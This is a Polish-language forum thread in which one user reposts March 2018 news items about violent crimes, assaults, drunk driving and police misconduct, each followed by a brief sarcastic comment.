Dantejskie sceny rozegrały się ostatnio przed Zespołem Szkół Ponadgimnazjalnych nr 2 w Kępnie. Kilka uczennic pobiło młodszą koleżankę. Wszystko na oczach innych uczniów, którzy nie reagowali i co więcej- nagrali całe zajście, a następnie zamieścili w sieci.

Do zdarzenia doszło na tzw. długiej przerwie lekcyjnej, 13 marca. Prawdopodobnie (widać na jednym nagrań)pięć dziewcząt zaatakowało młodszą od nich nastolatkę. Na jednym z filmów, do których dotarła redakcja Radia SUD widać, jak jedna z agresorek kopie dziewczynę leżącą na ziemi w twarz. Poszkodowana 16-latka trafiła do szpitala w Ostrowie Wlkp. W dużej mierze od obdukcji lekarskiej zależeć będą dalsze czynności wyjaśniające w tej sprawie, które prowadzi już kępińska policja. Zawiadomienie złożył także ojciec poszkodowanej. Na chwilę obecną nie wiadomo, jakie zarzuty zostaną postawione agresywnym 17-latkom. Zdecyduje o tym prokurator.

- Sprawczynie tego zdarzenie, mimo, że nie mają 18-lat, to w świetle prawa karnego, mogą za ten czyn odpowiadać, jako osoby dorosłe - mówi Radiu SUD komisarz Mateusz Lewek, zastępca naczelnika Wydziału Kryminalnego KPP Kępno. O całym zajściu wie już kierownictwo szkoły, ale dyrektor Andrzej Kowalczyk, który dzisiaj przebywa w delegacji, nie chciał udzielać w tej sprawie telefonicznie żadnych informacji.

uwaga! materiał zawiera wulgaryzmy

...

Znowu,, dziewczynki"...

BRMTvonUngern · Wysłany: Czw 18:41, 15 Mar 2018 Temat postu:

33-latek zdemolował aptekę, bo lek był na receptę

W minioną środę, po godzinie 8.00 do apteki wszedł mężczyzna, który podał farmaceutce kartkę z nazwą leku, prosząc o jego sprzedaż. Po otrzymaniu informacji, że medykament jest na receptę, wpadł w furię i zaczął demolować pomieszczenie apteki.

... :

Policyjny pościg za... policjantem - Lubaczów, powiat...

Sceny niczym z filmów akcji miały miejsce w sobotę na ulicach Lubaczowa. Kilka policyjnych radiowozów ścigało kierowcę, który miał być pijany. Tym okazał się być funkcjonariusz miejscowej komendy.

...

Kolejne odloty.

BRMTvonUngern · Wysłany: Nie 10:58, 18 Mar 2018 Temat postu:

Syn próbował ją zabić, teraz sama usłyszała wyrok. "Zepsułam mu życie"

Agnieszka K. została skazana za znęcanie się nad swoim synem, który pół roku temu ciężko ranił ją nożem, a jej konkubenta zabił. Biła po głowie, szarpała, popychała, wyzywała, poniżała, wyganiała z domu, okradała, zastawiała jego przedmioty w lombardzie.

...

Wesole konkubinaty..

BRMTvonUngern · Wysłany: Nie 19:34, 18 Mar 2018 Temat postu:

Napad na stację benzynową z bronią w ręku w Mławie

On Mar 16, 2018
Jak informuje portal codziennikmławski.pl dziś około godziny 4 nad ranem nieznany mężczyzna napadł na pracowników stacji benzynowej Orlen przy ulicy Płockiej w Mławie.

Mężczyzna był uzbrojony w długą broń. Sterroryzował pracowników, zażądał wrzucenia do worka pieniędzy z kasy, po czym zbiegł z miejsca napadu. Łup napastnika to kwota ok. 1600 zł.

Być może napad na stację Orlen w Mławie wpisuje się w całą serię napadów rabunkowych na stacje do których doszło m.in. w Żurominie, Działdowie czy Ojrzeniu.

Czekamy na oficjalny komunikat policji w tej sprawie, by poinformować o szczegółach tego zdarzenia.

...

Dwie młode dziewczyny i towarzyszący im chłopak skatowali 19-latka.

Funkcjonariusze z Placówki Straży Granicznej w Gołdapi zatrzymali troje sprawców pobicia. Dwie młode dziewczyny i towarzyszący im chłopak skatowali 19-latka. Poszkodowanemu mężczyźnie pomógł były funkcjonariusz SG.

...

Kolejna ohyda.

BRMTvonUngern · Wysłany: Pon 19:54, 19 Mar 2018 Temat postu:

71-latek jechał pod prąd autostradą A2. Nie chciał marnować czasu

1-letni mieszkaniec Zielonej Góry pomylił wjazdy i świadomie pojechał pod prąd autostradą A2. - Wybrał absurdalne, nie mające nic wspólnego ze zdrowym rozsądkiem rozwiązanie zawracając przed ciężarówką i jadąc pod prąd lubuskim odcinkiem autostrady na wysokości Świebodzina.

...

Pijany kierowca wjechał w dzieci na chodniku. Miał 1,4 promila alkoholu

Kierujący samochodem osobowym, prawdopodobnie podczas manewru wyprzedzania, zjechał na chodnik i potrącił dwóch chłopców w wieku 10 i 14 lat
...

Trudno tu uznac za wypadki... Jak ktos wyciaga pistolet i strzela to jest swiadomy czyn.

BRMTvonUngern · Wysłany: Śro 15:38, 21 Mar 2018 Temat postu:

nova512
4 godz. temu dodał
Mieszkam w domku jednorodzinnym wraz z najbliższymi.
Od ponad dwóch lat przechodzę koszmar i obawiam się o swoje jak i
najbliższych życie przez fakt spalania szkodliwych odpadów przez sąsiadów.
Codziennie, parę razy dziennie czuć smród nie do wytrzymania(nie ma dnia,
aby nie śmierdziało trucizną), aby zaradzić wdychaniu szkodliwego dymu
przedostającego się do domu nie pomaga zamykanie okien, zasłanianie żaluzji
zewnętrznych, zaklejanie brzegów okien, parapetów, ścian przy oknach. Szkodliwy
dym przedostaje się przez mikroszczeliny w budynku, których nie jestem w stanie
załatać. Sąsiedzi spalający szkodliwe odpady mieszkają w domu wybudowanym
obok naszego, odstęp obu budynków to około 4 metry, kolejnym problemem
są zabudowania z każdej strony parceli, co uniemożliwia cyrkulację powietrza.
W momencie, gdy sąsiedzi palą w piecu(nigdy nie palą czymś, co nie ma
nieprzyjemnego, duszącego zapachu) rozpoczynają się u mnie problemy
zdrowotne zagrażające życiu. Parokrotnie miałam stan przedzawałowy
(ciśnienie tętnicze wynosiło+180, puls+140).Oprócz tego przechodzę
ogromnie silne bóle głowy, kołatania serca, nierównomierne bicie serca,
nadciśnienie tętnicze, nagłe skoki ciśnienia, stres, problemy z oddychaniem,
uczucie waty w płucach, uporczywy kaszel, niemożność złapania oddechu, złe
samopoczucie, zmęczenie, mimowolne skurcze mięśni, dziwne odczucie w
głowie(wiercenie), bóle wątroby. W wieku 22 lat czuje się jak bym miała 80,
nie mam sił wykonywać podstawowych czynności. Nie mam wykrytych chorób
przewlekłych, wszystkie objawy, które opisałam pojawiły się ponad dwa
lata temu i nasilają się do poziomu bardzo niebezpiecznego kiedy czuć
niebezpieczny odór. Często modlę się, abym przeżyła i nie skonała na zawał.
Typ odoru wydobywającego się z komina sąsiadów zmienia się parę razy
dziennie. Raz czuć palone plastiki, za innym razem paloną smołę, jeszcze
za innym siarkę (powodującą ogromne osiadanie na płucach),
kolejnym-niezidentyfikowany smród powodujący silne bóle głowy, osłabienie i
zawroty głowy. Mam ojca, który choruje na nadciśnienie tętnicze i przebywanie
w takim środowisku skraca jego życie. Niedawno zostawiłam na wierzchu
białą, czystą ściereczkę, po dwóch dniach po włożeniu pod strumień leciała
z niej szaro-czarna woda(to wszystko ląduje w naszych płucach, krwiobiegu).
Każdy dzień jest dla mnie niczym w obozie śmierci, z którego nie ma ucieczki.
Nie stać nas na przeprowadzenie się. Idzie wiosna, lato, a problem niestety
nie zniknie. W poprzednich okresach wiosenno-letnich co 2-3 dni również
spalali szkodliwe odpady. W ten czas będzie tak samo. W związku z tym
proszę Was o pomoc. Miałam nie pisać tego, co teraz piszę, myślałam,
że sytuacja się w końcu zmieni, ale chcę jeszcze pożyć na tym świecie.
Nigdy nie myślałam, aby popełnić samobójstwo, życie jest dla mnie nad
wyraz cenne, jednak zmieniło się w koszmar, który trwa i trwa...
Jedynym rozwiązaniem jest zakup nowego domu z dala od źródła
problemu. W związku z tym uruchomiłam zbiórkę jednak nie wiem
czy kolokwialnie pisząc zadziała. Każdy sposób pomocy będzie dla
mnie bezcenny. Nie chcę stwarzać problemów sąsiadom, nie chcę
niszczyć ich życia,wywoływać awantur, sporów,
chcę tylko żyć jak normalny człowiek. Już 100 razy wolałabym, aby
mnie ktoś wyzywał mi ubliżał niżeli skracał życie. Nie wiem jak długo
przeżyję w takim środowisku, moje zdrowie z dnia na dzień
podupada, serducho nie wytrzymuje. Mam dowody w
postaci filmików. Zapraszam do dyskusji.

...

Szok! Morduja sasiadow toksynami! Bestie!

BRMTvonUngern · Wysłany: Czw 12:19, 22 Mar 2018 Temat postu:

Przerażające nagranie z przedszkola w Nowym Sączu. „Masz dzisiaj pecha, ja...

Dziecko płakało, nie mogło złapać oddechu. Ona mówiła: masz dzisiaj pecha, ja cię usypiam. O skandalicznych metodach dyrektorki przedszkola z Nowego Sącza opowiadają w Uwadze! jej byli podwładni. Dopiero po naszej interwencji sprawą zajęło się kuratorium, a prokuratura postawiła zarzuty....

96-latka pozbawiona części domu. Przez wnuka

Pani Janina Putek ma 96 lat i wielkie marzenie: wrócić do domu, który w latach 80. kupiła w Wadowicach razem z mężem. Po jego śmierci nieruchomość podzielono między troje dzieci. Dziś część po córce przejął wnuk pani Janiny. Mimo zapisanej babci dożywotniej służebności części domu, odciął jej...

...

Kolejne horrory.

BRMTvonUngern · Wysłany: Czw 19:03, 22 Mar 2018 Temat postu:

Zbrodnia w Kamionce. Mężczyzna podciął żonie żyły

Śledczy wyjaśniają zbrodnię, do której doszło w lubelskiej Kamionce. W jednym z domów policjanci znaleźli ciało zakrwawionej kobiety. Z nieoficjalnych informacji wynika, że została okaleczona przez męża. Kobieta była poważnie chora i poruszała się na wózku. Cierpiała na stwardnienie rozsiane.

...
Policjanci sadyści przed sądem. "Babcia była jak rozjuszony piesek"

To szczyt bezczelności! Choć sadystyczne metody policjantów: Piotra L. (45 l.) i Lidii S. (38 l.) nagrała kamera i zobaczyła je cała Polska, oni sami do niczego się nie przyznają. Twierdzą, że w czasie interwencji byli uśmiechnięci i uprzejmi. Jakby tego było mało, o agresję oskarżają bezbronną Bronisławę D. (84 l.), nad którą się pastwili.

Policjanci przed sądemPolicjanci przed sądem3ZOBACZ ZDJĘCIA
Policjanci przed sądem
PODZIEL SIĘ
– Nikogo nie pobiłam. Byłam uśmiechnięta i sympatyczna podczas tej interwencji. To pani D. była agresywna – bezczelnie mówiła wczoraj przed sądem Lidia S. To właśnie ona odegrała główną rolę podczas skandalicznej interwencji w grudniu 2015 roku.

Razem z Piotrem L., który prywatnie jest jej partnerem, przyjechała do marketu spożywczego. Mieli wylegitymować 82-letnią staruszkę, która z głodu ukradła ogórka i serek. Zamiast przeprowadzić standardową interwencję, zgotowali starszej pani piekło. Zaczęło się od poniżania i szarpania. Na filmie z monitoringu widać także, jak Lidia S. wymierza cios w głowę 82-latki i wysypuje zawartość jej torebki na podłogę.

Na koniec sadyści rzucają kobietę na ścianę i zakładają jej kajdanki jak groźnemu bandycie. Sprawa wyszła na jaw w lipcu 2017 roku po ujawnieniu nagrania z monitoringu. I choć sceny, które zostały nagrane przesądzają o winie mundurowych, ci idą w zaparte! – Pani Bronisława nie jest staruszką bez siły. Widziałam, jak jedną ręką przepołowiła jabłko – tłumaczyła Lidia S. Na szczęście oboje wylecieli już z policji. Grożą im 3 lata więzienia.

..

Kolejne potwornosci.